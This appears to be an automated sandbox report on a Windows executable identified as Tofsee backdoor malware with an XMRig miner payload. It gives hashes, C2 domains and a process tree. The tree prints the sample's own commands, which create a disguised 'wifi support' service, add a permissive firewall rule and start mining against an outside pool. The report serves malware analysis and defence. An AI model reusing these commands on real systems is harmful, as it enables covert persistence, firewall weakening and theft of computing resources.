Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    10/01/2023, 19:45

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target

    file.exe

  • Size

    278KB

  • MD5

    d66e10f9ab1cb1f29521b054d2676cc1

  • SHA1

    28923dc44986d18ecad140db3c0be616916e2b6d

  • SHA256

    612ba43df412385b770bd5ef067bba8b852ef41ef2dcdf785a017d5d0bb62de7

  • SHA512

    d7e2c2fc786c03d3b195b54db2d82011fc4e39c94e2089768fa22409a0c220d297f2c04a65148ca7fc201b14292286aa02cc8c5e43a62a032a9b86b380535cc4

  • SSDEEP

    3072:7XEO22zRKzpLLtmjf9i5GCo5AmmHyy58KFRt+fgIgHplfehgRfQU2m4FwCpjKpEe:T9zRWLyf9kGCg28KF7HvWhatnEmQLr

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sonrlouo\
      2⤵
        PID:976
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oexvsbih.exe" C:\Windows\SysWOW64\sonrlouo\
        2⤵
          PID:1700
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sonrlouo binPath= "C:\Windows\SysWOW64\sonrlouo\oexvsbih.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sonrlouo "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1992
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sonrlouo
          2⤵
          • Launches sc.exe
          PID:964
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1912
      • C:\Windows\SysWOW64\sonrlouo\oexvsbih.exe
        C:\Windows\SysWOW64\sonrlouo\oexvsbih.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:752
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:532
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1700

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\oexvsbih.exe
              Filesize

              14.2MB

              MD5

              fe2d8a0720a9738c7178524165e7edc3

              SHA1

              45adfb90b57b4e4d82b79168579718947eef1b10

              SHA256

              4b1b31615f4cc86c1945c8143a78c4aef2f7ca60fb737d7d65084ce0ce49fc3b

              SHA512

              28d478b117a5cbcaded51869865c685d850a9dd3c837ec0976fadd9315375da64b5e95d064e6223dfb1935535b8de5e0ab31719f277ee0f98031a7b93bcc1e2b

              Download Submit

            • C:\Windows\SysWOW64\sonrlouo\oexvsbih.exe
              Filesize

              14.2MB

              MD5

              fe2d8a0720a9738c7178524165e7edc3

              SHA1

              45adfb90b57b4e4d82b79168579718947eef1b10

              SHA256

              4b1b31615f4cc86c1945c8143a78c4aef2f7ca60fb737d7d65084ce0ce49fc3b

              SHA512

              28d478b117a5cbcaded51869865c685d850a9dd3c837ec0976fadd9315375da64b5e95d064e6223dfb1935535b8de5e0ab31719f277ee0f98031a7b93bcc1e2b

              Download Submit

            • memory/532-88-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

              Download

            • memory/532-100-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/532-97-0x0000000000320000-0x0000000000327000-memory.dmp

              Filesize

              28KB

              Download

            • memory/532-94-0x0000000005540000-0x000000000594B000-memory.dmp

              Filesize

              4.0MB

              Download

            • memory/532-91-0x0000000000270000-0x0000000000275000-memory.dmp

              Filesize

              20KB

              Download

            • memory/532-72-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/532-85-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

              Download

            • memory/532-81-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/532-82-0x0000000001960000-0x0000000001B6F000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/532-70-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/752-78-0x000000000302D000-0x000000000303E000-memory.dmp

              Filesize

              68KB

              Download

            • memory/752-69-0x000000000302D000-0x000000000303E000-memory.dmp

              Filesize

              68KB

              Download

            • memory/752-80-0x0000000000400000-0x0000000002BAD000-memory.dmp

              Filesize

              39.7MB

              Download

            • memory/752-74-0x0000000000400000-0x0000000002BAD000-memory.dmp

              Filesize

              39.7MB

              Download

            • memory/1080-67-0x0000000000400000-0x0000000002BAD000-memory.dmp

              Filesize

              39.7MB

              Download

            • memory/1080-54-0x0000000076411000-0x0000000076413000-memory.dmp

              Filesize

              8KB

              Download

            • memory/1080-57-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

              Download

            • memory/1080-66-0x0000000002CBD000-0x0000000002CCE000-memory.dmp

              Filesize

              68KB

              Download

            • memory/1080-60-0x0000000000400000-0x0000000002BAD000-memory.dmp

              Filesize

              39.7MB

              Download

            • memory/1080-56-0x0000000002CBD000-0x0000000002CCE000-memory.dmp

              Filesize

              68KB

              Download

            • memory/1700-101-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

              Download

            • memory/1700-103-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

              Download